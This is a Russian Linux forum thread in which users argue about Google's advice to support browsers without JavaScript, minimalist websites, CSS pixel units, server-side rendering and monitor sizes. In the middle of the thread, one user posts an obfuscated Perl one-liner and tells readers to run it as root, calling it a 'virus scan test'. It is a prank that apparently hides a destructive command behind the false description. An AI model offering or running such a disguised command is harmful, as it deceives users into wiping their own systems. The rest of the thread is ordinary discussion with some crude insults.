LINUX.ORG.RU

Зачем гугл рекомендует делать сайты под текстовые браузеры?

 , , ,


0

3

https://developers.google.com/search/docs/advanced/guidelines/ajax?hl=ru

В частности, подумайте о тех, чьи браузеры не поддерживают JavaScript (например, людях, использующих программы чтения с экрана или старые телефоны)

Что за дичь в 21 веке? Для кого? Для чего? Кто реально поддерживает браузеры, где нет js?

★★★★

Ну для продающего/информационного сайта, без особой интерактивности, совет не лишен смысла. Заодно решаются все проблемы с индексацией ПС.

ddidwyll ★★★★
()
Ответ на: комментарий от ddidwyll

Кстати, на счет индексации, гугель индексирует DOM, не тупо парсит сырой html. Есть нюансы, кто знает подродности отпишитесь, пож

gobot ★★★★
() автор топика
Ответ на: комментарий от gobot

У нас в рунете модно рендерить весь react в HTML и отдавать такую страничку средствами nodejs клиенту. Видимо, надеются увеличивать продажи своих копыт и рогов

menangen ★★★★★
()
Ответ на: комментарий от static_lab

Html скармливается дом парсеру, разумеется. Например https://github.com/jsdom/jsdom. Думаю в гугле технологии на пару голов выше

gobot ★★★★
() автор топика
Ответ на: комментарий от menangen

Это нормальная практика на коммерческих сайтах, чтоб не спрашивали, почему вкладка падает или скрипты тормозят и почему сайт крутит крутилку и грузится полчаса.

slapin ★★★★★
()
Ответ на: комментарий от gobot

А что сложнее? Если каждый васянский бложик нынче SPA которое чуть что пустую страницу кажет или требует запуска скриптов! в консоли броузера чтобы раздуплиться из-за багов с кешем и обновлениями (привет, gmail). Да, от SPA есть польза если это некий сервис, типа почтового клиента, игрушки и тп. но если быдлосайтик с картиночками пытается весь ко мне загрузиться то ну его нафиг. Вот gmail с его пожиранием памяти и процессора я еще потерплю, но всякое прочее говнище - ну его нафиг.

slapin ★★★★★
()
Ответ на: комментарий от gobot

opennet.ru freebsd.org fedoraplanet.org planet.debian.org debian.org хватит?

anonymous
()
Ответ на: комментарий от beastie

кстати такое себе. есть сайтики, сделанные аж в 95 году, но гораздо притяней и интересней.

anonymous
()
Ответ на: комментарий от anonymous

сделанные аж в 95 году, но гораздо притяней и интересней.

Покажи такие сайтики, которые достойны использования пусть не каждодневно, но хотя бы раз в неделю.

anonymous
()
Ответ на: комментарий от menangen

У нас в рунете модно рендерить весь react в HTML

А у меня в планах не реакт, а Vue выучить.

Владимир

anonymous
()
Ответ на: комментарий от GAMer

*прослезился от умиления*

Ух, сколько годноты натащили :-D

Pinkbyte ★★★★★
()
Ответ на: комментарий от GAMer

https://perfectmotherfuckingwebsite.com/

<link rel="stylesheet" href="/fuckingstyle.css?v=0279c1f1bba0bfb298dd2ac08b41065fc7516374">

font:18px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";color:#444

Еще чуть-чуть и ничем не отличить от js-компоста

anonymous
()
Ответ на: комментарий от GAMer

http://bettermotherfuckingwebsite.com/

body {
    margin: 40px auto;
    max-width: 650px;
    ...
}

Автор этого сайта умрет от рака яиц. Он почему-то за меня решил, какой ширины текст я хочу читать. В крайнем случае, если очень хочется сделать строку короче, можно масштабировать содержимое под большие экраны, потому что иначе на устройстве с высоким разрешением на этой странице ничерта не будет видно в масштабе 100%. CSS3 media queries есть в браузерах начиная с IE 9 и первых версий FF, так что вопросов по совместимости возникнуть не должно. Особенно учитывая тот факт, что все эти media queries на браузерах без поддержки просто не будут применяться и работать будет только стиль по умолчанию.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Судя по тексту, задача стояла уместить текст в твой дерьмовый экран. И судя по твоим доброжелательным отзывам она была выполнена на 100% :D

Still fits on all your shitty screens

Ctrl-+ не сложно в броузере нажать, че ныть сразу?

Stack77
()
Ответ на: комментарий от byko3y

Ты не знаешь о чем это @Harald говорит: Парсинг кривого html из bash (комментарий)

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Может этот скрипт у него не работает? Дык, от рута нужно и тогда тест на поиск вирусов запустится.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 2)
Ответ на: комментарий от Stack77

Судя по тексту, задача стояла уместить текст в твой дерьмовый экран

Так он не уместил! Задача не выполнена. Первый сайт был годнотой, потом набежала школота со своим «я могу лучше», и выдала полнейшую срань, которая потом еще и оказалась раскопирована с минимальными изменениями. Всё, что ты должен знать про тренды в айти.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Ну как не уместил. Вьюпорт под мобильные работает. За рамки экрана на любом девайсе текст не вылазит. Получается уместил. А то, что ты не знаешь/не хочешь масштаб в браузере увеличить и желаешь страдать - это твои проблемы.

Ты не знаешь о чем это @Harald говорит

Так о чем это он? Интригу завел, а что за такой «эпичный пост» - молчит.

P.S. Вообще, если мы тут говорим о максимальной простоте, тогда чем меньше кода и при этом «недостатки» просто покрываются стандартными возможностями браузера (тот же масштаб, например), тем лучше. Иначе, так можно дойти от простого CSS до полифилов на JS и массе прочего.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 3)
Ответ на: комментарий от byko3y

Первую версию не видел, как-то вскользь прочел. Так что, может мы говорим об одном и том же.

Вообще, если мы тут говорим о максимальной простоте, тогда чем меньше кода и при этом «недостатки» просто покрываются стандартными возможностями браузера (тот же масштаб, например), тем лучше. Иначе, так можно дойти от простого CSS до полифилов на JS и массе прочего.

Stack77
()
Ответ на: комментарий от Stack77

А то, что ты не знаешь/не хочешь масштаб в браузере увеличить и желаешь страдать

Всего-лишь изменить масштаб, всего-лишь подправить CSS, всего-лишь поставить пропатченный браузер — и так далее. Сайт из коробки на значительной части устройств выглядит как говно — дальше уже идут пляски разной стекпени сложности. Справедливости ради, он таки адаптирован под игрофоны, а они нынче составляют большую часть устройств — это единственное оправдание. Однако же, этой проблемы не было на оригинальном motherfuckingwebsite.com, в котором применялись браузерные стили.

Браузерные стили — это не значит, что нельзя менять фон, цвет шрифта, нельзя его масштабировать. Если ты зайдешь в настройки FF иил хрома, то увидишь, четыре основных семейства стандартных шрифтов: умолчательный, serif, sans-serif, monospace. И размер их ни разу не обязан быть 16 пикселей, хотя обычно таки 16. По идее, пользователь должен был бы настраивать шрифт под свой экран, или же шрифт уже поставлялся настроенным с устройством. Дальше сайт пляшет от этих настроек, что-то вроде

h1 {
  font-size: 2rem;
}
то есть, H1 в два раза больше обычного шрифта. Выкидыши и жертвы аборта, которые составляют основную массу верстальщиков, просто прибивают гвоздями размер шрифта в пикселях в body — сайты bettermotherfuckingwebsite.com, perfectmotherfuckingwebsite.com, thebestmotherfucking.website являются собой типичный пример плачевного состояния акушерства. Дальше эти калеки фиксируют в пикселях ширину страницы, делая невозможным масштабирование страницы из корня сменой шрифта body. Ну а чё пользователь расселся — пусть крутит масштаб, подбирает оптимальный под свое устройство под каждый его сайт. Знаешь, примерно как при чтении художественного произведения — читатель должен участвовать и додумывать, а не просто потреблять контент.

byko3y ★★★★
()
Последнее исправление: byko3y (всего исправлений: 1)
Ответ на: комментарий от Stack77

Первую версию не видел, как-то вскользь прочел. Так что, может мы говорим об одном и том же

Оригинал — вот этот сайт:

http://motherfuckingwebsite.com/

Потом пошли уже остальные дизайнеры со своими

font:18px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";color:#444

И прочими симптомами умственной отсталости. Такие вот стили — это полнейший рак.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Я, думаю, здесь полностью объективного мнения быть не может. Среднестатистический пользователь никогда не будет менять настройки стилей браузера по умолчанию. Поэтому часто тот же html/body задают в абсолютных единицах а дочерние в rem/em.

Так же и со шрифтами, на дизайнерском стилизованном сайте - шрифт по-умолчанию будет выглядеть вырвиглазно. И т.д и т.п.

Общее юзабилити зависит от множества факторов. Всегда будет вилка или делать максимально просто, но недочеты будут и их можно покрыть настройками (те же относительные единицы измерения от корневого в браузере и стандартные шрифты, например) или идти в сторону усложнения, но тогда и CSS на 100KB может быть мало и JS нужно будет писать. Все зависит от задачи и какого результата ты хочешь добиться.

Как пример, ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах.

Stack77
()
Ответ на: комментарий от menangen

На правах оффтопа:

Как это гуглится?

рендерить весь react в HTML и отдавать такую страничку средствами nodejs клиенту

Интересует такая штука, чтобы писать на js, но чтобы html рендерился на сервере.

damix9 ★★★
()
Ответ на: комментарий от damix9

Next.JS (это если проект только в планах, там под капотом React). Если уже написан на React, то Гугли React SSR. Но придется костылить или переписывать на Next.JS.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 2)
Ответ на: комментарий от Stack77

Среднестатистический пользователь никогда не будет менять настройки стилей браузера по умолчанию

И DPI тоже не будет менять? Как бы да, но как бы и нет, потому что есть устройства с сильно разными DPI. Это примерно как говорить «среднестатистический пользователь никогда не будет ставить драйвер видеокарты». Да, потому что этот драйвер ему поставит кто-то другой.

Всегда будет вилка или делать максимально просто, но недочеты будут и их можно покрыть настройками (те же относительные единицы измерения от корневого в браузере и стандартные шрифты, например) или идти в сторону усложнения, но тогда и CSS на 100KB может быть мало и JS нужно будет писать

Где-то с 2015 года все браузеры поголовно стали поддерживать CSS Grid и Flexbox, и описываемые тобой компромисы потеряли смысл. Только из-за поддержки IE с этим медлили, но сейчас даже в десятке Edge, не говоря уже о том, что на XP можно поставить Хром/FF, где есть нужные фичи в полном объеме. А CSS современный поддерживает даже анимацию, даже какое-нибудь не сильно сложное слайдшоу и галерею можно реализовать на одном лишь CSS, без JS.

ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах

А что удобно? По-твоему, откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

byko3y ★★★★
()
Ответ на: комментарий от Stack77

px в CSS не зависят от DPI

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки. Но даже такое определение не спасает от разного размера экранов, из-за чего шрифт может понадобиться больше.

И причем здесь Grid и Flexbox, вообще?

При том, что они позволяют делать гибкую верстку под разные размеры шрифтов и экранов, без необходимости сношаться со сложной версткой на CSS и JS.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Ну, ок. Что такое CSS-пиксели ты не знал, я понял. Но, я думаю, ты в курсе, что JS и полифилы пишут не только лишь потому :D Лейауты это только малая часть почему использовали JS. На одном лишь CSS можно очень много чего реализовать, но то что выходит за рамки его возможностей - невозможно сделать без JS (а такого очень-очень много). Например, как ты задачу с WebGL на CSS собираешься решать?

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от Stack77

На одном лишь CSS можно очень много чего реализовать

Здорово, братан! Как сам? Я за чистый CSS или бутстрап, на крайний случай. Делаю сайт на джанге, потом тебе покажу, через месяца три.

Владимир

anonymous
()
Ответ на: комментарий от Stack77

Будем ждать всем ЛОРом.

Нет уж, на хер. Только тебе в личку. Ты добрый пацан, а этим вурдалакам ничего не покажу, обосрут ))

Владимир

anonymous
()
Ответ на: комментарий от byko3y

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки.

Повторяю, пиксели в CSS это относительные единицы. Ты точно во фронте работаешь?

Stack77
()
Ответ на: комментарий от anonymous

Владимир подкрался незаметно. И засадил свою питоноджангу в узенький имейл Stack77. Смотреть без смс

anonymous
()
Ответ на: комментарий от Stack77

Так и думал, что ты без таких фраз диалог не сможешь долго вести.

Это не мой коммент был.

Владимир

anonymous
()
Ответ на: комментарий от anonymous

Ну да, а потом окажется, что Владимир - это какой-нибудь перец, который еще с М.Валянским ЛОР пилил в истоках. От критики, пожалуй, воздержусь. Ты же не стеснительный парень, показывай всем работу, как закончишь.

P.S. Всё на сегодня, а то мне скор обнулят :)

Stack77
()
Ответ на: комментарий от byko3y

Всего-лишь изменить масштаб

В своем изначальном сообщении с критикой длины строки, ты сам же предлагал увеличивать масштаб тем, кому не нравится, что строка по дефолту не ограничена. То есть, когда тебе предлагают встать на тобой предложенное место, тебе внезапно это не нравится.

anonymous
()
Ответ на: комментарий от Stack77

Что такое CSS-пиксели ты не знал, я понял

Ты хочешь сказать, что я не знал, что можно элементы в браузере масштабировать? Я привел пересказ цитаты из стандарта только для того, чтобы показать, что пиксель — это, на самом деле, черт знает что, и смысл он имеет только по отношению к другому пикселю. То есть, если я пишу «font-size: 18px», то это не говорит абсолютно ничего про читаемость шрифта. Если же я пишу «font-size: 2em», то это значит, что шрифт будет больше стандартного. А как узнать, сколько же пикселей нужно на самом деле? А никак — только спросить у пользователя или системы.

Например, как ты задачу с WebGL на CSS собираешься решать?

При чем тут WebGL? У нас тема про текстовые браузеры.

byko3y ★★★★
()
Ответ на: комментарий от Stack77

Раpмер пикселя в стандарте определяется как эквивалент пикселя 96 DPI на расстоянии вытянутой руки.

Повторяю, пиксели в CSS это относительные единицы. Ты точно во фронте работаешь?

Это цитата из стандарта, если чо. Пиксели не совсем относительны, но их абсолютно значение довольно размыто описано.

byko3y ★★★★
()
Ответ на: комментарий от anonymous

В своем изначальном сообщении с критикой длины строки, ты сам же предлагал увеличивать масштаб тем, кому не нравится, что строка по дефолту не ограничена

Я не писал такого. Я писал про CSS media query, и 99% пользователей не имеют ни малейшего понятия о том, что это такое.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Ты хочешь сказать, что я не знал, что можно элементы в браузере масштабировать?

Уже несколько раз написал, что CSS-пиксели это относительная величина. Это не настоящие пиксели. Соответственно, заданная величина в CSS выглядит примерно одинаково (+-) на мониторах с разным DPI. Как еще объяснить - не знаю.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от damix9

Server Side рендеринг. Пишешь на react/vue, и грузишь всё это говнецо не в браузер клиента, а на свой же nodejs сервачок и там заставляешь крутиться шестеренкам, выплевывая клиенту тупой HTML5

menangen ★★★★★
()
Ответ на: комментарий от byko3y

откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

Не очень понял к чему ты клонишь… по мне так, большинство приложух это либо обертки над сайтами, либо их приложухи легко можно было сделать как SPA сайты, но продвигать такие поделия очень не просто. Ведь большинство юзеров тупы и не ходят по сайтам. А запускают иконку на столе-дашборде своей мобилки, и тыкают по кнопкам, не заморачиваясь всякими адресными строками, логинами/паролями и прочей херней

menangen ★★★★★
()
Последнее исправление: menangen (всего исправлений: 1)
Ответ на: комментарий от byko3y

При чем тут WebGL? У нас тема про текстовые браузеры.

При том же, причем и лейауты ты приплел непонятно к какому месту. Наверное, к тому, что не все возможно сделать на чистом CSS и его функционала часто недостаточно в современном веб.

ТС, кстати, под текстовыми браузерами понимает хромиум с отключеным JS. Хотя текстовый браузер - это links, например. Но, ТС и «плюсы выучил», поэтому к нему претензий нет. А вот, когда ты ссылается на одно, а когда отвечают - спрашиваешь: ты это к чему? Выглядит странно.

Stack77
()
Ответ на: комментарий от Stack77

Уже несколько раз написал, что CSS-пиксели это относительная величина. Это не настоящие пиксели

Вот прям сейчас на лоре заскринил страницу и посчитал пиксели. 18 пикселей. В стилях 18px. У меня 120 DPI. Что я делаю не так?

byko3y ★★★★
()
Последнее исправление: byko3y (всего исправлений: 1)
Ответ на: комментарий от menangen

откуда взялось бесчисленное кол-во родных приложух под андроид/айос?

по мне так, большинство приложух это либо обертки над сайтами

Бинго! Потому что сайтом неудобно пользоваться на игрофоне. Почти любым сайтом. Мой оппонент выдвинул тезис «LOR неудобен на игрофоне, хотя сделано по уму».

byko3y ★★★★
()
Ответ на: комментарий от menangen

Ты можешь @byko3y как-то объяснить что такое пиксели в css? Я уже заебался.

Stack77
()
Ответ на: комментарий от Stack77

При том же, причем и лейауты ты приплел непонятно к какому месту. Наверное, к тому, что не все возможно сделать на чистом CSS и его функционала часто недостаточно в современном веб

Да, но мы отошли от темы. И я отошел, и ты, тут уже и вовсе WebGL начался — я напомнил, о чем тред.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Отмечу, что в CSS разрешение устройства (экрана) эквивалентно для изображений, видео и медиа-запросов. А дальше кастую @menangen, ибо я бессилен. Пусть он тебе расскажет об экранах высокой плотности и почему CSS-пиксели != реальным пикселям.

Как пример, можешь в инструментах разработчика браузера навести курсор на тег html (в развернутом на весь экран окне). Скорее всего ты удивишься, т.к. ширина элемента в браузере будет отличаться от фактической ширины разрешения монитора. Правда, может быть и 1:1.

P.S. И правильно, все же не DPI, а PPI. Хотя и сам (как и многие) и так и так говорю, но первое - это больше к принтерам относится.

Доброй ночи!

Stack77
()
Ответ на: комментарий от byko3y

Я на своём iphone 6+, iphone 8 практически не нахожу сайты, которыми не удобно пользоваться. Чаще это словно специально не допиленные поделия, не учитывающие устройства с тач скринами, а создатели хрен забили на mobile first

Моё мнение, что создание приложух в сторы - это маркетинговый ход. А не просто «неудобно пользоваться сайтами». Приложуху легко продвигать, в рамках стора, легко продвигать, имея уже работающий и популярный сайт

Да, у нативных приложений много плюсов. Но каждое 4-ое приложение делают на электроне, а это браузер внутри приложухи. Т.е. они все-равно разрабатывают локальный сайт, но с легким доступом к покупкам и кошельку пользователя! Именно ваши потенциальные бабосики двигают менеджеров на ваши мобилки

menangen ★★★★★
()
Ответ на: комментарий от Stack77

эквивалентно для изображений, видео

Немного неоднозначно написал. Имелось в виду разрешение самого изображения. Т.е. для экранов высокой плотности требуется указывать изображения в более высоком разрешении (при этом свойства высоты/ширины CSS оставляя прежними), чтобы изображение не «растягивалось» и не было «пикселизации». Естественно, это требуется только для растровых изображений.

Кроме прочего, CSS-пиксели это одна из причин, почему даже многие нативные приложения используют возможности CSS под капотом. Как минимум это упрощает работу и спасает от «плясок с бубном» на дисплеях с разным PPI.

Ну, и как заметил @menangen для хорошего юзабилити важно использовать концепцию «mobile first». Т.е. макет в первую очередь должен быть адаптирован под мобильные устройства. Именно в этом, на мой взгляд, причина плохого юзабилити ЛОРа на мобильных, т.к. он в первую очередь разрабатывался под десктопы.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от byko3y

не говоря уже о том, что на XP можно поставить Хром/FF

Давно пробовал? XP давно не поддерживается, и это уже становится заметно.

GAMer ★★★★★
()
Ответ на: комментарий от GAMer

AFAIK, на XP современный хром не заведется. Но даже не в этом дело. На XP просто не найти дров на более-менее современное железо. На старое железо ее также нет особого смысла ставить, т.к. масса приложений не будет работать (как-то пробовал ставить, думал может удобней прогать не шибко новые микроконтроллеры, оказалось - нет).

Stack77
()
Ответ на: комментарий от Stack77

Я только не очень понимаю смысла разжевывать это всё «нубам». Пусть сам копает всякие toster, там в вопросах разжёвано всё, да и разобраться с ретиной и всякими @2x, @3x - дело одного вечера. Больше прикалывает ситуация с ретина экранами на десктопе - их почти нет, тока маки. На мобилках то давно высокая четкость, а в инете до сих пор лидирует 1920x1080

menangen ★★★★★
()
Ответ на: комментарий от menangen
Ответ на: комментарий от menangen

а в инете до сих пор лидирует 1920x1080

Боже, хоть кто-то это наконец сказал. Я читаю ЛОР, такое ощущение, что все себе нахватали 4К как минимум. Захожу в рязанские Nix и DNS — там на полках все мониторы строго 1920x1080. Нет, под заказ они привезут, что хочешь, вопросов нет. Но на полках стоит то, что пользуется более-менее устойчивым спросом.

hobbit ★★★★★
()
Ответ на: комментарий от menangen

Ведь большинство юзеров тупы и не ходят по сайтам. А запускают иконку на столе-дашборде своей мобилки, и тыкают по кнопкам, не заморачиваясь всякими адресными строками, логинами/паролями и прочей херней

Да, но я то не такой…

Владимир

anonymous
()
Ответ на: комментарий от hobbit

Меня ваще тошнит уже от этих пропорций 16:9, даже фильмы многие снимают в других пропорциях, и от черных полосок нет способа избавиться. Раньше были почти квадратные 4:3 и было удобно кодить, были бы сейчас такие квадраты, но с ретина экраном…

menangen ★★★★★
()
Ответ на: комментарий от menangen

Раньше были почти квадратные 4:3 и было удобно кодить

+100500. Пару лет назад взял древний (не с ЭЛТ, если что :D) б/у 1024x768 с VGA под тестовое железо с голой консолью. Хоть и не часто пользуюсь, но под консоль очень удобно (а может ностальгия у меня) и места мало занимает.

были бы сейчас такие квадраты, но с ретина экраном…

Это да.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от Stack77

древний (не с ЭЛТ, если что :D) б/у 1024x768

Я на таком работаю. На новое железо пока денег нету :(

Владимир

anonymous
()
Ответ на: комментарий от anonymous

mc + vim + tmux идеально на 4:3 и разрешение больше не нужно. Вообще не жалею, что взял б/у (причем, собирался нормальный брать, по дороге зашёл в мастерскую, а там это чудо практически в идеальном состоянии). Обошёлся в гроши какие-то, что-то около полторы тысяч рублей.

Мониторов вообще много не бывает, а этот - как в прошлое вернулся. Цаца :)

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от gobot

Пример можно такого сайта?

Сплошная статика и эротика

http://p0n4ik.tk

Джаваскрипту тут по минимому, где совсем нельзя было избежать

pingvinek
()
Ответ на: комментарий от Stack77

ЛОР, вроде и по уму сделано, но я бы не сказал, что форум удобен на мобильных устройствах

А поясните кто-нибудь далекому от игрофонов дяде на паре примеров, где ЛОР неудобен, а другие сайты удобны на мобильных устройствах?

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Из русскоязычных - зайди на хабр или форум searchengines.guru и посмотри как там сделана навигация, какие размеры элементов и как они выглядят, где аватарка распологается относительно текста и т.д. и т.п. Ну и использование JS позволяет не перезагружать страницу на каждый клик.

Это по минимуму, если разбирать подробно, получится дофига текста. Но, я уверен, ты все равно скажешь - это все говно и не нужно. Не думаю, что тебе имеет смысл что-то доказывать.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 1)
Ответ на: комментарий от Stack77

searchengines.guru

Угу, я понял идею. При довольно простом сайте имеются 400 кб стилей, которые представляют собой бесконечные media query под разную ширину экранов — там скорее всего исходник представляют собой ненамного меньшую простыню из кучи макросов на каком-нибудь stylus.

byko3y ★★★★
()
Ответ на: комментарий от byko3y

Так-то там один «скомпиленый» файл стилей и весить он 70КБ в сжатом виде. CSS такого размера, уж точно, не узкое место современного (да и не только) web, когда одна картинка на странице весит > 100КБ. Что тебе объяснять… Как с радио говорить.

З.Ы. Почему ты называешь смартфон «играфоном» (интересно)? Например, в моем телефоне игрушек 0 целых 0 десятых.

Stack77
()
Последнее исправление: Stack77 (всего исправлений: 2)
Ответ на: комментарий от Stack77

Почему ты называешь смартфон «играфоном» (интересно)? Например, в моем телефоне игрушек 0 целых 0 десятых

Я вот, бывает, игры на ютьюбе прохожу.

byko3y ★★★★
()
Ответ на: комментарий от chenbr0

Еще одно новое движение NoJS, NoCSS, NoBootstrap, NoServer?

Требуется верстальщик HTML, да

GP
()
Последнее исправление: GP (всего исправлений: 1)
Ответ на: комментарий от byko3y

Ясно, я как то в плане игрушек «отстал от жизни». Извини, если грубовато ответил. Я без всякого подтекста. Просто, вижу, что у тебя свое мнение сформировалось о том «как правильно». Вряд ли я или кто-то тебя сможет переубедить. Поэтому спорить на подобную тему просто бессмысленно. Что до объема кода CSS, он же не пишется весь руками. Там какой-нибудь bootstrap под капотом 80-90% кода занимает.

Stack77
()
Ответ на: комментарий от Stack77

CSS, он же не пишется весь руками. Там какой-нибудь bootstrap под капотом 80-90% кода занимает.

Я использую бутстрап. Но он немного грубовато выглядит и однообразно.

Владимир

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.